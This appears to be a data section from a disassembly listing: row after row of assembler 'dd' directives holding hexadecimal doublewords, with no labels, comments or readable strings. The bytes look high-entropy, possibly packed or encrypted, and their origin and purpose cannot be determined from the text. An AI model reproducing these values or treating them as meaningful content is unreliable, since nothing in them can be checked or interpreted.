		dd 0BD2B8F45h, 4FD9398Ah, 68E58140h, 0B1323ED3h, 5215C2E9h
		dd 12C9B838h, 4D9033Bh,	0AB4EBDF6h, 0A2602C2Dh,	0FE1B1895h
		dd 0BAC4283Bh, 4097F096h, 10A2DC7h, 0AF2C6055h,	8D1D06AAh
		dd 781DAB4Fh, 35AC1071h, 90AD5C01h, 9E186C21h, 12E7082Bh
		dd 0C47B9B80h, 487EA20h, 16066D4Bh, 95E6184Eh, 0E85008DFh
		dd 862EB48h, 0BD0266B4h, 705D02F5h, 24D1E02h, 1803DBC4h
		dd 7C501009h, 72DD186Eh, 0C6304910h, 18ACFB08h,	3118D220h
		dd 5A10C44Eh, 19B990C2h, 10DC4C18h, 8C8171CDh, 0DCEE988h
		dd 66698919h, 0DE249988h, 1890AC0Dh, 725910F7h,	8AFD18CCh
		dd 8093EF08h, 0B1CCB089h, 400108C3h, 9040F898h,	48696332h
		dd 8188214h, 28185342h,	3D718073h, 807CC480h, 8C4EA41h
		dd 0A306CE46h, 702A205Dh, 9088B03Eh, 8C654BAh, 2A18917Ah
		dd 40DC081Ch, 0C765BCA8h, 0E446E208h, 20087F60h, 0DE55E0FFh
		dd 189EDD4h, 69038F2Ch,	8E6248AEh, 6D66839h, 2631A1DAh
		dd 5BC82036h, 462D0892h, 8791A04h, 31EEC520h, 0A5204A4Bh
		dd 57A8018Eh, 32B1C856h, 14E17DB4h, 20CA0103h, 0F623839h
		dd 4D4A389h, 3F3491F3h,	0B3108CA9h, 65E8085Ch, 44721897h
		dd 0C54F8ACh, 92E9F1FEh, 0A9EE741Ch, 894A6FCh, 512020F2h
		dd 0C380ED74h, 0BB08C6DAh, 7162A1DCh, 6D92A08h,	0F2FC21B2h
		dd 0E051CD81h, 88C1FC2h, 9E18B384h, 6F247092h, 32909C0Fh
		dd 8209618h, 64807FE0h,	3E28C467h, 99150641h, 9CF62010h
		dd 1F293C62h, 88BE02EFh, 4A4F002h, 6978916Ch, 4C0A012Eh
		dd 9224088Ch, 0BC923718h, 0ACFC1654h, 0CB203F62h, 6A7702F4h
		dd 88EE4A6h, 1874BA31h,	0CC0121A6h, 0C3990133h,	33E9101h
		dd 0DF11069h, 0FDD219FBh, 5F0129A1h, 8DE701EAh,	1456F01h
		dd 4190993Dh, 81AE1073h, 2A5D5610h, 0E831DCD7h,	67750877h
		dd 624F2888h, 71DEC10Dh, 0A497D012h, 7C91E0A0h,	0BA015B6Ah
		dd 95542492h, 80DFBE80h, 10C901A8h, 8AF023C3h, 927175F7h
		dd 827627Ch, 34060ACFh,	0D8BA2029h, 0FC9C6009h,	75A492E8h
		dd 4A1F4DC0h, 0C78B1EC7h, 4737468Eh, 33B7410h, 0EB02752Ch
		dd 0E1B8913h, 0D03DA7B9h, 440105h, 0B49408Fh, 8BF775C9h
		dd 0F4247438h, 0F003DE12h, 331391AEh, 0B10FE0C0h, 2C304F32h
		dd 4F6551ACh, 0CDE9ABE1h, 0E185C34Bh, 0A2743B70h, 5EC2CBC2h
		dd 0F859E477h, 6413018Ch, 8E9C15Ah, 2CF17060h, 80CFA59Bh
		dd 7DA74C74h, 0EDFCCD01h, 445508A2h, 6850397Ch,	4BD633ADh
		dd 348C5B7Ah, 2965AB9Eh, 3FB899AAh, 62601A2Dh, 41194F59h
		dd 7CF912CAh, 60A02A38h, 395AB835h, 74860A77h, 3017D571h
		dd 94643B45h, 4B2D1F76h, 28E14922h, 8FFCB95Dh, 0C7E90650h
		dd 1CC8B7F1h, 0F997CA43h, 0E2026728h, 0C57546AAh, 758258Bh
		dd 0A58A5C9Dh, 0DCEDC619h, 7147209h, 41B0C501h,	0D2556808h
		dd 0D11161EAh, 54050026h, 641D1465h, 0E818D601h, 3E6818EDh
		dd 0DE1F453Eh, 3009FBCh
		dd 30AFF681h, 0E9274FFDh, 75076280h, 0C3C9F7EBh, 62B9007Ch
		dd 8BDB518Ah, 3C2019F9h, 0DBCC9758h, 8A76812h, 80EF3735h
		dd 465E2A3Bh, 1BB08AA0h, 0C0C1D32Dh, 0FAE95562h, 294AC53Ch
		dd 0FE8AC2DDh, 3E90060Bh, 266495F8h, 0A470F7FEh, 0CE6EF495h
		dd 4C575EE9h, 415C5A09h, 3468763Bh, 33337F6Ch, 0BB6A32CDh
		dd 23545214h, 71BAD053h, 3EA83C0Dh, 0DBC5D6A5h,	0E19FE985h
		dd 0EBF224EEh, 8657330Fh, 7618DDE4h, 850B00BAh,	0F2814A50h
		dd 0D72A038Eh, 79B5F941h, 98C36D0Bh, 0B710BA36h, 0B65224E8h
		dd 0EA3F0969h, 0FED9D932h, 67287927h, 2EF16983h, 0BFE2D069h
		dd 0F8E00359h, 628C685Fh, 1849E336h, 0DFD73A57h, 4D2DBBCCh
		dd 8CB8F179h, 0C733A2D7h, 6C70EF0Ch, 1F480C40h,	1942963h
		dd 6444B7EEh, 46503B03h, 9BA35A08h, 82B8A5Fh, 16F01E9h
		dd 57201568h, 0D1B73F6Eh, 6F78A800h, 97E94531h,	537E029Fh
		dd 8C25F458h, 0DD434E44h, 0BE9C555Ah, 1F1A6245h, 265E2318h
		dd 7913B967h, 82E9E1EAh, 0EB9E123Ah, 95F1E1C8h,	5D9DBDF4h
		dd 1114684h, 18DDF2AAh,	5AC708D3h, 0E0D782E0h, 12EA81E8h
		dd 4B56B33h, 4C1EA154h,	0F2647934h, 0E9521C2Dh,	27AFA733h
		dd 0B60CD0CCh, 0CEFED502h, 0F53FEE80h, 0C4C623C8h, 2B98F0E0h
		dd 7073F638h, 4997D19Fh, 0E9B94906h, 39C15E5Fh,	85C3223Dh
		dd 5FA09EEEh, 0E90A5EA3h, 0B89BB34Eh, 913F0134h, 596D71Ch
		dd 38D5A701h, 0B12E3EB9h, 0EB803F2Bh, 422C9259h, 5F116029h
		dd 9FFCA0E9h, 2094645h,	0D41CFFA8h, 41B20C5Bh, 27F041C9h
		dd 0B6700390h, 0D4C3D5E7h, 0D4E15966h, 0DC5EA5E9h, 0ABD33AF9h
		dd 15CD433h, 5AD40889h,	0CC71F480h, 6DA01C4h, 0F0C07746h
		dd 79BD8ECBh, 9F4D8883h, 0D42DB024h, 0A19013F8h, 51DEF9DDh
		dd 90D1298Bh, 0E04E252Ah, 754D7639h, 71F3408Dh,	0BD5A5740h
		dd 1F0F7D72h, 2909734Eh, 0ADC5D729h, 3C2E568Bh,	0E5E916ADh
		dd 5A433203h, 1CB6BE7Dh, 382FE168h, 0E1C7F85Eh,	8C6BB668h
		dd 4F1CE933h, 5A160120h, 71C161FAh, 2BB04FDh, 0C718BD81h
		dd 93EA0BC0h, 1E547CB0h, 4E4FA38Ah, 0AA204F8Dh,	0AD425E7Ch
		dd 87DECF6Ch, 0D5592691h, 5A2DA0ECh, 0D0337643h, 5782FB71h
		dd 0C81A2A51h, 0F482D530h, 0BC91DD39h, 4FEC82D5h, 5F602543h
		dd 0BEE90530h, 32AAF61h, 0A63B5901h, 0DDD71658h, 307C8Ch
		dd 5532DC0Fh, 3921DFBDh, 67D1444Eh, 0B432AA93h,	1AD23580h
		dd 21277F68h, 37FEECC5h, 0B4F60831h, 0BC45A83Ch, 288D37E9h
		dd 3616601Fh, 5D2D5066h, 34C4B157h, 312698B8h, 22ED2C6Bh
		dd 0DEF713DAh, 0FEFFA0D1h, 4C7C3C39h, 41913875h, 0C25B442Bh
		dd 0F05E09FAh, 0F62AFB10h, 50B913EDh, 0D40228AAh, 52881406h
		dd 6044EA01h, 58CAABBCh, 600ABE37h, 0A9344668h,	3C925267h
		dd 6598776Eh, 689905BEh, 0F0EDFD17h, 96553C89h,	95F3B51Fh
		dd 12B4FA27h, 0BB012943h, 6B65DDh, 7E16B104h, 0BE0B5638h
		dd 8635686Bh, 4876F361h, 981021C3h, 6766260Dh, 68A9543Fh
		dd 0F0399C26h, 0C4CFBC68h, 9AAB32EEh, 65501877h, 0B701C3B1h
		dd 8B200552h, 0F781036Fh, 3AF425B4h, 0E7C0D7ABh, 62E42279h
		dd 3D77E91Ah, 59280565h, 0CF586BE8h, 0FC46B404h, 0F84FC013h
		dd 57633624h, 923161E6h, 30B24106h, 76B90104h, 602EE27Dh
		dd 264A822Eh, 3EB27C46h, 871AE2E5h, 30EB23ADh, 0EAB70252h
		dd 0E113856h, 191880FDh, 12DDF2AAh, 40148EE9h, 989F1ECh
		dd 417C4B63h, 0C6B7E378h, 56192656h, 5DEF8BA7h,	0C7624D58h
		dd 6768A13Eh, 0B4780891h, 2C2C7825h, 6F0136D1h,	2CF874E9h
		dd 670079B7h, 0BD225105h, 47802F4Fh, 0A0375D51h, 0FFE7C1B8h
		dd 0F4CBB40h, 863460F3h, 6A7F4D35h, 0C04F62BFh,	747505FBh
		dd 0E97E0F59h, 0B6570496h, 2F68099Eh, 0AD3A7106h, 3425D10h
		dd 0D2AFB5B9h, 17DF6087h, 61746ABBh, 0AAB04E5Bh, 26537F51h
		dd 0A46512CCh, 50D11172h, 0E99BD70h, 0C2095B9Ah, 7E88C2FEh
		dd 1803627Fh, 3CC494E6h, 8AAEB1E8h, 425F2F87h, 343CF725h
		dd 0C88362B5h, 0A0E68963h, 5C238FA4h, 0F70085BBh, 4F031F75h
		dd 5A41BDE9h, 59CD9C01h, 400A8860h, 57025315h, 2E290568h
		dd 0A2B1400Dh, 2E1AD267h, 0DBE90B85h, 84811A7Ch, 67B8FC90h
		dd 1D68E893h, 489FCC3Fh, 0ADED79DCh, 870249DFh,	22657DE8h
		dd 27778A8Bh, 7672D04Eh, 77476A74h, 96F5CB3Ah, 7AD2BF4Dh
		dd 9868292Fh, 0CFBB96CCh, 5A21EDCBh, 0F329B1C4h, 0EA8AF4EFh
		dd 0A694B634h, 535D3544h, 335F47C1h, 0BBEE4393h, 0A6951D74h
		dd 541700AAh, 436E8644h, 4D3F730h, 0D208ACE9h, 41AF8D3h
		dd 7B28031Ch, 42CA11C0h, 3417487Ch, 409F9220h, 7630B881h
		dd 80580DE6h, 1246C7C6h, 774C5CA2h, 88977E97h, 4318F7A8h
		dd 2F97A458h, 2CFA626Ch, 8368A70Ch, 0A3051067h,	2AD0A807h
		dd 86224978h, 0DA02503Eh, 58775A1Bh, 1A4563DDh,	17DF3506h
		dd 4E55CA81h, 0DB803126h, 884EFC2h, 94F2AE58h, 264F41D3h
		dd 717B1C70h, 4EFFD244h, 0AD684F91h, 0ACD7C46Ah, 1DE6F813h
		dd 0DD5D62CDh, 0DDC4C54Bh, 827FE08Fh, 4A26E9E6h, 4E740500h
		dd 2D033B0Eh, 1ECD0F0Fh, 0BBCA73E4h, 94622DAh, 8413E912h
		dd 3430BF91h, 95779868h, 0E25B4D74h, 8498DD70h,	0BC316851h
		dd 0F1541F57h, 0E07E4FAFh, 99BC5470h, 0E420382Fh, 0EBD80124h
		dd 41716407h, 209CA62Fh, 0DBC08065h, 122BEBB7h,	0E5F30D1Ah
		dd 419A7B1Ch, 1321BB50h, 0BF691443h, 4CF0650Fh,	0FAB320Dh
		dd 0E9389F67h, 98778BDAh, 53226877h, 5427955Dh,	505465Ch
		dd 2EAC463Eh, 2925D34Dh, 0C2DD60CAh, 61F01A3Dh,	0A838DE56h
		dd 0DAD60496h, 14BB16D7h, 0B7E9CF6h, 3103A5BFh,	587124DDh
		dd 680B95B3h, 81316155h, 660974C1h, 5C61E7h, 4AA8C68Eh
		dd 10FE12CCh, 0F95F81EEh, 4EBBEC53h, 0D71E6269h, 0FE76DE0Fh
		dd 5E8A7B13h, 0F5BE1D7Fh, 31D92E76h, 0F239135Bh, 0F4E92C68h
		dd 2AAB224Ah, 88E90D41h, 0DAA41E94h, 0C73B08C1h, 0F3ED7830h
		dd 71320B26h, 0C504F501h, 0D0F7B450h, 2CD9620Eh, 7A49BF89h
		dd 0C614103Fh, 37DDFA9h, 0DD65C8Dh, 3DFFADE5h, 0A425CB29h
		dd 8AEBB264h, 91488B8h,	14DD31FBh, 0A1422AD0h, 5EF228F5h
		dd 0ECDD4CDAh, 7D5C0E25h, 0D91B230Dh, 0E46FA82Eh, 0C4D6B2EAh
		dd 1826BB53h, 0ED224C09h, 170BDC6Ah, 0C485502Ch, 4995905Ah
		dd 7288703h, 70279A89h,	0BDAE73DDh, 39586199h, 92CB6B14h
		dd 1493B140h, 0C47AAC60h, 4ED3E250h, 30E20624h,	0FD5B4927h
		dd 83BF34C0h, 58522479h, 1BE802CDh, 0C4F52D47h,	2C8C48CBh
		dd 0DFF7770Ch, 0D6776A10h, 45C055Dh, 12C72E9h, 3F38E6ABh
		dd 5CACDBA3h, 260697C6h, 18586807h, 2D431392h, 500D1F59h
		dd 0AFAF2D5Ah, 4B197840h, 35925429h, 0BA909F25h, 32FE8081h
		dd 9D1D0B31h, 0F5006CD0h, 32E539Ch, 0A9D36EE9h,	522F29DAh
		dd 0B8631259h, 0D401B48Fh, 30337640h, 485FE72Bh, 0F052859h
		dd 56D1A99Eh, 0A9C2FC2Ah, 9096DDD2h, 5B57372Dh,	0BFA217B9h
		dd 0F019F2Ah, 0F868C8BEh, 251F364Ah, 93BAF711h,	0A0275D52h
		dd 0EF9C56FDh, 0C8BDD164h, 8CB2085Ah, 0F1CC0500h, 0C231075Dh
		dd 0A8CF78E9h, 3DB396h,	8005E3C0h, 0DBF60FF3h, 97BA6826h
		dd 0AB64E989h, 0C894FF03h, 58C6C3A8h, 8A3B1499h, 0D43D4EA9h
		dd 0C110F113h, 7B013C08h, 0E0C808C9h, 7F72C00Ah, 1C294C9Fh
		dd 0C380BB25h, 9035DFBFh
		dd 805A6148h, 533223F7h, 98BF9409h, 18721607h, 0E92DCD09h
		dd 5D16C0DFh, 0CF7E955Ah, 32A00FD3h, 0BE766C5Bh, 7B084350h
		dd 84753B5h, 0B901F355h, 4DD3F50h, 0FD2E5C35h, 6E9B1E78h
		dd 20209228h, 5E542EC3h, 0DD8608C2h, 4DA3C281h,	0D47A2B68h
		dd 0E9080368h, 0F25A42B2h, 0DB942DB9h, 0D7586B0Ch, 1327ED4Ah
		dd 2A795901h, 4DC000A9h, 0B95137DCh, 40120FB0h,	5DEB2902h
		dd 5A7450F2h, 17D09CA2h, 303EE55Ah, 62C93471h, 0A99D8454h
		dd 2453590Bh, 0E94768A7h, 9A66F3B8h, 1339B0Bh, 0F25BC556h
		dd 0BD99789Ah, 0D94DADDBh, 0AEABC53Eh, 0B5E4901h, 0A16F423Ah
		dd 6AA3D6Eh, 1F48D3E6h,	3931F8D6h, 0D14BF1FFh, 680DFAD8h
		dd 0A037CB4Ah, 49C40550h, 0B13AF1D4h, 0B0704ACh, 0AB6225ADh
		dd 49457DCh, 5C50708Bh,	1829FE8h, 7CBC2798h, 10DA220h
		dd 35FE0326h, 3A164FE9h, 0C38154D0h, 0B7271FA7h, 49FF5252h
		dd 0F140C006h, 4EA97B03h, 6A5FE457h, 862A489Dh,	23CB0171h
		dd 754D81BFh, 36B07A21h, 0F59AB809h, 2F5D25F8h,	0EAFE1A55h
		dd 0BAFF7D05h, 39F944EEh, 22BE1977h, 3077032Dh,	500E64FEh
		dd 0B5B05BB0h, 2E431941h, 7824B745h, 1CCCA181h,	4AE934F8h
		dd 0BBCA00D2h, 4CC642BAh, 0D2F94B5Fh, 301E124h,	0E2ECE979h
		dd 68BF4802h, 754FC7A4h, 2B8981E1h, 0C9DFF4BCh,	6C66588Ch
		dd 7CB55425h, 0F5FB51E0h, 5A9774B7h, 4BB6505Bh,	0B79F1912h
		dd 0CE87164Bh, 93A409FBh, 85A3E208h, 67852D6h, 5D449ACCh
		dd 0F85EF32Dh, 0E3E69F42h, 0CAF0FB9Fh, 1DA2A5C1h, 400B541Ah
		dd 0BC6C0B4Ah, 2DFF81A7h, 0C75D06FDh, 223273E9h, 0D7E03F7h
		dd 125F3AACh, 55177D34h, 0E496F12Ah, 0EC9D2C66h, 5AE91320h
		dd 3070C92Bh, 0B6F43F18h, 0C82E397Eh, 1042080Ah, 0D5DEA964h
		dd 0F3E8B20Fh, 2263B800h, 2BB0BC4h, 61982A7Eh, 9EF6C301h
		dd 68DE985Bh, 0D43856F1h, 0B20DFF1Ah, 9853DA5Dh, 801C40BEh
		dd 8C5C10Fh, 594345CFh,	57A2A177h, 8036664Ah, 0E1BE9980h
		dd 0A196BD3Bh, 0D93F35DEh, 57C0E80Fh, 940BE793h, 48119022h
		dd 0AE50064h, 37395805h, 0E80C290Fh, 35D9C2E9h,	0EFD99FE3h
		dd 0C940D6E9h, 350062DCh, 0E95E4430h, 39DABD5Dh, 81CAC0B4h
		dd 5C26FB00h, 16E9BF25h, 0ACD5B1AAh, 2C6A2CB6h,	525F8760h
		dd 59D0A012h, 35FC0743h, 39DAF74Ah, 8008005Fh, 9F7C9FA6h
		dd 3FCC868Ah, 0EF4B0CD8h, 5F18A863h, 0B1F7C08Bh, 5758327Dh
		dd 0C7BD002Dh, 0D149A17Fh, 60E913EDh, 2A84ED80h, 0D89F9392h
		dd 0B6842015h, 2A63ECB7h, 0B6C6F921h, 65E97826h, 3259FE40h
		dd 610EF01h, 0D2647D5h,	2BBE1632h, 0E35A85CEh, 5F5ACB4Ch
		dd 0A8E9FE82h, 0FDBE35D8h, 0DE189202h, 0BC407F89h, 0A3E3D6Ah
		dd 0C5EF8256h, 601E2A6Bh, 0F962559h, 8FE914E4h,	0E2FD6E9Ah
		dd 0E9F977F7h, 0BF1694EBh, 0E956B198h, 9127F5Ah, 0B8207D00h
		dd 0EF28167h, 4F4936C6h, 46ABCAC0h, 30983821h, 0F430C15Eh
		dd 6029542Ch, 25D83266h, 0E2EC3AFEh, 5D051709h,	0BC05FF03h
		dd 91C8FBC8h, 943B126Fh, 7CC019F1h, 0C7422B8Eh,	7F413668h
		dd 253B0498h, 5572207h,	6E36193Fh, 72D5128h, 0FFA1DD7Ch
		dd 5CEDA730h, 28182790h, 65A6851h, 8BBEAB12h, 99346FFh
		dd 5709A268h, 3D307B2h,	23283C0Bh, 0B91FC3FDh, 6AA56040h
		dd 40CF14F7h, 0E9169CD2h, 0F3F4EEA9h, 21214952h, 7290DD3Eh
		dd 0C3800FFAh, 1DD6E68Dh, 0F888001Eh, 72B3535Bh, 800BD3F6h
		dd 7E0886EBh, 5F6B16D8h, 68D442E4h, 5AA27BE2h, 0DA57E688h
		dd 0F68103EAh, 3CFD7F95h, 8AC9A4DAh, 0E4B92B5Dh, 0D5290193h
		dd 0FB532740h, 0E0D1AE39h, 0F44D413Eh, 4CE91B5Fh, 0F001BB35h
		dd 7BB06856h, 0C6296EFFh, 3B7A109Fh, 0A4F82650h, 0AB1FB08Fh
		dd 1CC9582Bh, 8BE58851h, 0D47859EBh, 9590E7Fh, 0D4BD016Fh
		dd 45216008h, 9979A07Bh, 6D1B6109h, 3BE57729h, 3591F381h
		dd 0E13E3140h, 0D687104Ch, 0CEFE4E5Ah, 0CD161106h, 2D24648h
		dd 143A2DE3h, 0E050F389h, 8E727609h, 0DE6BC07Ch, 75C2AA1Fh
		dd 67ECAC83h, 7B6455D9h, 4B5B96CBh, 7F58B1ACh, 0F6C7B60Bh
		dd 7B4487D6h, 4C3E39C2h, 4E69E49h, 91735E68h, 2D36282Ah
		dd 35341CE2h, 7752B0D7h, 0E607F01h, 0D07B5776h,	31D6CD96h
		dd 4533CE13h, 34C01A87h, 0FE7E1958h, 6E620BC5h,	1225BDADh
		dd 6B1FF1AFh, 5D84F3B3h, 748AFBEDh, 7A5347Ch, 0FCB4BF0Ah
		dd 682BC048h, 15B567D8h, 0EAD15A1Fh, 18250E5Eh,	92CD0B8Eh
		dd 1ED2BFEFh, 574BBBA5h, 557A0FBAh, 8F82164Eh, 3DA6E152h
		dd 498076FAh, 0F97597C2h, 68576C32h, 5C634226h,	5F7DF7C0h
		dd 0E9551A41h, 0C761328Bh, 73F82E1Fh, 0F151E8DEh, 0F6D29F72h
		dd 5A2125C1h, 4565BDC1h, 0A2A16889h, 58E2E93Dh,	95BD4A19h
		dd 2163E1A8h, 50B77D24h, 14F2C44h, 3D01E352h, 0D4CE7CB8h
		dd 0DE24F0F9h, 663C2F04h, 0A0A1C259h, 6B7D0E4Bh, 573F302h
		dd 0A1282A04h, 0A345303Ah, 5D33C16Fh, 0A4C2BAD7h, 1D95720h
		dd 6EEC041h, 7AE90789h,	0D378CFC2h, 83D25D4Ah, 4B55E368h
		dd 2FE12ECh, 0D27CCF11h, 0E3027742h, 0E8E46C30h, 0CB3D5BE2h
		dd 3359548h, 5DEA13C1h,	4E284501h, 0CFF86209h, 69DFB488h
		dd 0A68FE00h, 303C5048h, 76FEAD5Fh, 0EDE8C9ECh,	0C2EF2ACBh
		dd 96206E72h, 0D77B9FFEh, 4C97B420h, 0D4C0249Eh, 0E2740C7h
		dd 437C28CFh, 99FC8A27h, 0E42A9971h, 8101E2B0h,	7D550DEAh
		dd 0ACF8514Dh, 0A86AB1A7h, 37D904E3h, 804D081Eh, 0A2ECC2D2h
		dd 0EF896016h, 250A6DF2h, 2FFF4941h, 0AC2E942h,	5F080A18h
		dd 0A937C598h, 0F76EA5B2h, 2E047B53h, 11209BFh,	0BDE2730Ah
		dd 8CE0DB22h, 2760803Ch, 0CD32370Ch, 0B474F62Eh, 2521368h
		dd 0E40CB956h, 0AB4C0ED7h, 70E1099Fh, 292CE53Dh, 0C536B94Ah
		dd 30EB7CFEh, 6F2757E6h, 3E340190h, 26BF8918h, 0CB17642Bh
		dd 0D508C620h, 52B026E2h, 0C73F1960h, 59D957C9h, 0AC3D646Fh
		dd 5B51139Ch, 0E0B82363h, 2AAB9AC0h, 58F692E9h,	0ED06205Eh
		dd 3EBA29F9h, 66956F7Ch, 0A0A2A3h, 1B70F3F5h, 1326B065h
		dd 9B621C3h, 0AE00D3AFh, 2A61A77h, 27F4459Dh, 0B41EF150h
		dd 0BF60DDF4h, 0E1B726F0h, 1DD1C6Fh, 698BB738h,	0E2C0DB20h
		dd 0EA7C8008h, 3890EFE6h, 0C748D778h, 428B25F4h, 5B984E25h
		dd 4E3559h, 8F674DADh, 8BF5E3Ah, 892DD88Fh, 7ADCFE02h
		dd 0A8A139F1h, 0F240D28Bh, 59B9BD72h, 6EDF652Ch, 0D7E4BDF5h
		dd 0E22FD934h, 58B774F5h, 694F389Ch, 0BFAEA726h, 34EF0A61h
		dd 2978C22Fh, 0B54396F7h, 6813E0CCh, 7BE97D6Dh,	0E5AEE9A0h
		dd 0D533AB95h, 19C281A0h, 0D9A21450h, 40CCEAF5h, 0A60CBA38h
		dd 4BDCF0D7h, 2EAB42C8h, 0A740C009h, 488376BBh,	4A04B088h
		dd 0E6DE2940h, 872B12CDh, 0C8191CE3h, 3A63B37Bh, 12C7E3E6h
		dd 4499091Dh, 0DA2FA5D3h, 7E2A00Dh, 0F071B51Fh,	2CB6D34Bh
		dd 2A012567h, 819FEEE9h, 56F6CFB3h, 98DB42EFh, 3C0130F5h
		dd 0B0CB830Ch, 0C65D3CD3h, 920512F9h, 6975230Fh, 9233431Fh
		dd 717D54CDh, 5F0D6817h, 0C0A8AAF8h, 9BB04CB8h,	774739F1h
		dd 0B91A2132h, 6233DAD9h, 107EEC5Ch, 0DB27F644h, 49A17169h
		dd 0CE7F295Dh, 9AD6839Ch, 68520051h, 0D753C09h,	0A24A5A7Ch
		dd 49E8F485h, 966B49B4h, 184A5F26h, 4F29DC05h, 3C850927h
		dd 0A8C16783h, 16F28103h, 5FCF7BBh, 0CC041377h,	683850FCh
		dd 194512D6h, 0EF8008h
		dd 43B95157h, 3A017D4Eh, 6806E1C1h, 6D2C5A84h, 635DB9C0h
		dd 0E848E90Bh, 0E5E08E26h, 0B7E4372Eh, 0B9C101FFh, 8BF001DBh
		dd 0D5E02D34h, 0F5101064h, 5B4A805Fh, 0D4F64590h, 854771C9h
		dd 0D8BB3836h, 0EB048142h, 0F60628Dh, 84176B9h,	2702309Bh
		dd 0B0E1ABDAh, 0C614ED12h, 0FA822AF1h, 60067A0Bh, 2F151D93h
		dd 0E35E3DA2h, 0B0E5AB8Bh, 54516838h, 48FFBC25h, 5E28270Ah
		dd 0FB9B20FBh, 78526627h, 882D1E46h, 2C5904CAh,	3B05FF8Ch
		dd 0D8AFE77Bh, 364F9844h, 68C79232h, 0EB652F3h,	3EEE80D9h
		dd 287FC361h, 0D6EBE1F3h, 1CB2D1D1h, 0DA44C165h, 28100C8Fh
		dd 0AB55126h, 7C384694h, 84DA1CC9h, 40A42617h, 0F6B85E92h
		dd 468701C8h, 0D2F73DBEh, 0B47E1C25h, 7D2E68ECh, 0AA096D74h
		dd 62C876F1h, 67EC7135h, 720E5C9Fh, 0EF4BD04h, 0F891C95Eh
		dd 0A32D0537h, 0F1569439h, 6885F573h, 515D3D82h, 0F7F32A2Ah
		dd 10EBBD80h, 0AB90345Eh, 6224CF74h, 1701ED2Bh,	4F402F50h
		dd 0C440E9Fh, 0C80C787Ch, 320A2A17h, 40E02011h,	67F04BF5h
		dd 8007C2BEh, 0ED309DE5h, 0B0C5FE62h, 3320B710h, 556B98EBh
		dd 0C8575139h, 56A60055h, 4CBD1D11h, 5D282EE7h,	4AF61859h
		dd 0DF788959h, 0CE9CA525h, 11FD3159h, 3E02C555h, 154CBA8Fh
		dd 0D76ABD5Eh, 611860F2h, 0F180C205h, 0FCF4DA5Eh, 50FC28C9h
		dd 9E4058F0h, 5FC7ED80h, 6CF6705Ch, 0D38AEB5Ah,	60522910h
		dd 0CC888F4Ch, 5BB12D59h, 2E3861FEh, 0C1353CBh,	0B8294028h
		dd 0AF1E940Eh, 4EBC81DBh, 9C26E38h, 9762762h, 8D12875h
		dd 5FB85B16h, 0E16F0AA5h, 0E94402C9h, 317D3FF6h, 56FEE7BBh
		dd 2CEBEF43h, 51C24F74h, 608007E6h, 28B404EDh, 4D2CC87Ch
		dd 0E2A51C32h, 0EDD5D22Eh, 1438C9E0h, 0A8580B30h, 4E83510h
		dd 8C327868h, 36025781h, 4C6C3E59h, 4279E9B0h, 683D15ACh
		dd 0C8ECEAEh, 3C87E44Eh, 5191C35Bh, 0A125AE7Fh,	0EE10223Fh
		dd 9FF0A89h, 715A6898h,	151CA1F8h, 0A261133Fh, 277BC47Fh
		dd 0C0935CB8h, 21BBA5E2h, 0FE319202h, 7640D6E9h, 0A8B564BDh
		dd 8B5D2835h, 0FCBCFA83h, 0E48BDE54h, 9618757Ch, 0C697A413h
		dd 55900384h, 0CE813CE8h, 20F57F90h, 0F75101B0h, 0C5BD2BD1h
		dd 0F8E57712h, 83E2E7B3h, 7DB00C56h, 4791311Eh,	58E4BE45h
		dd 0A0F6E043h, 5380E40Fh, 0D3A3E9F7h, 7A12E241h, 0BF2D7537h
		dd 9289208h, 3FDC8A19h,	56398E62h, 91EA6495h, 81CF2926h
		dd 62318080h, 0BD2A5970h, 60A94F8Eh, 0A2754D12h, 0FD680A91h
		dd 6DC18673h, 0D7DA1E10h, 0C39753E6h, 95C2389Ch, 0BC5A7612h
		dd 53E90936h, 0F6169424h, 0C60F695Ch, 225D07Eh,	781964CEh
		dd 28EB0EAEh, 0F5C71CE0h, 0AFDB2577h, 86FF5ED5h, 84B740A6h
		dd 0A93153h, 0F7106B58h, 0DEB85EEEh, 295CD112h,	2CE5B260h
		dd 3B82DE6Ch, 0E9DD6C5Eh, 5B17C648h, 0B9309F6h,	0C4E825A6h
		dd 5B1E39EEh, 0F2D3414Dh, 34CD22FBh, 0B5C14E75h, 850B5808h
		dd 0AF170B68h, 0FAEAD15Fh, 8E3321FBh, 414B0483h, 58C630A5h
		dd 0D28A4DCh, 0CFD9E9F0h, 0B1D42868h, 0C2D587h,	3203C6B9h
		dd 8CE94C4Bh, 0C9BF103h, 0C3A1619h, 0C2D017ABh,	0C3D830C1h
		dd 68C3C604h, 0FD3A7EB4h, 70D63438h, 0B25255A0h, 68B0284Eh
		dd 1C9D6555h, 1B25BFACh, 367EA2A8h, 0FEA78893h,	6B41565Ch
		dd 8DD85E13h, 6BE822FFh, 3C4A3F9Ch, 8AFEDC7Dh, 0B85F0804h
		dd 9AED39Ch, 9C5F56F4h,	0FAE913B1h, 0AE0A618Ch,	28A36B8Ah
		dd 72CFB97h, 0E5295D97h, 335FA701h, 6AF53148h, 0E500FACBh
		dd 782827E4h, 83B6BEE9h, 24148E2Ch, 0C5A32D7h, 8FA7F4E7h
		dd 42753037h, 0F40A14DDh, 0BCA9E90Ch, 385F72B9h, 5A2CDFB4h
		dd 9CFCA85Ah, 624D0747h, 60DA4EC3h, 41E29A89h, 78957E5Bh
		dd 0D70782DBh, 2AD87991h, 3560309h, 2F1C0D63h, 3CEC5A0Eh
		dd 0A4C24A24h, 0F1EAD150h, 4C4B2CF0h, 17171BDAh, 7B28BA49h
		dd 8C9A4B78h, 7340FCCCh, 0A630025h, 22D728Fh, 625A8B08h
		dd 9B389B16h, 6A4D19D9h, 3FD2667Dh, 7C682530h, 0F0D5A660h
		dd 566CB567h, 9DCC79Fh,	7AF86FE9h, 0E32F959Ah, 1360652Eh
		dd 21CFAE2Dh, 8580ED4Bh, 3B256930h, 59ECD783h, 0F04F3961h
		dd 0E3CE3C7h, 0DAE9884Ah, 565B1C6Eh, 26AEF850h,	0B9816049h
		dd 77A06A7Ch, 1847CD20h, 0C022236h, 950221D7h, 0F8E9493Dh
		dd 0FFCCFD62h, 16A07C9Fh, 689C2C5Ah, 9B307125h,	0DE0BC024h
		dd 7F434C07h, 0D9097E06h, 0EB910C78h, 7CB0F3Eh,	0F318D854h
		dd 0F8601FCFh, 1CEB0751h, 0C0A9E734h, 451B8BC5h, 0B0BD4A5Bh
		dd 49230841h, 0DC78DC8Bh, 35079FB8h, 18A72DA1h,	746CFC50h
		dd 0E8DA9F21h, 7248EF49h, 7D5AF758h, 137B5F12h,	6F4869FEh
